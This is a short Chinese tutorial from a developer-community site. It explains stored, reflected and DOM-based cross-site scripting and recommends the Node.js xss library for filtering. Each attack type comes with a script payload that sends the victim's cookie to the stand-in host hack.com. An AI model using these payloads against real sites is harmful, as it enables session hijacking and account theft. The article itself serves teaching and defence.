跨站脚本攻击(Cross-site scripting,XSS)是攻击者向网站注入恶意脚本,等待用户访问网站并自动运行恶意脚本发起攻击的过程。不同的脚本可以实现不同目的:
攻击者把恶意脚本注入服务器并存储起来,等待受害者请求此脚本并在浏览器中自动运行。
// 在评论区,直接把下面的内容提交,如果服务器不做检查,下面内容就被存入服务器数据库
<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
通过用户点击恶意链接,获取用户已登录的会话cookie。
http://www.example.com/transfer?s=<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
在用户浏览的页面中直接注入代码。
#id
来实现当页面的跳转。# 下面链接表示打开页面,并把 id 为 doc 这个元素滚到页面最上面
http://www.example.com/#doc
# 把 doc 换成 脚本,再访问此页面,意味着脚本会被自动执行
http://www.example.com/#<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
# 备注:此实例只是解释说明用,目前浏览器早就屏蔽了这样的漏洞。
XSS 来源于用户提供的内容,只要过滤掉其中的恶意代码即可,Node.js 项目中推荐使用 xss
库来完成这个工作。
// 1、安装
npm install xss
// 2、使用
var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。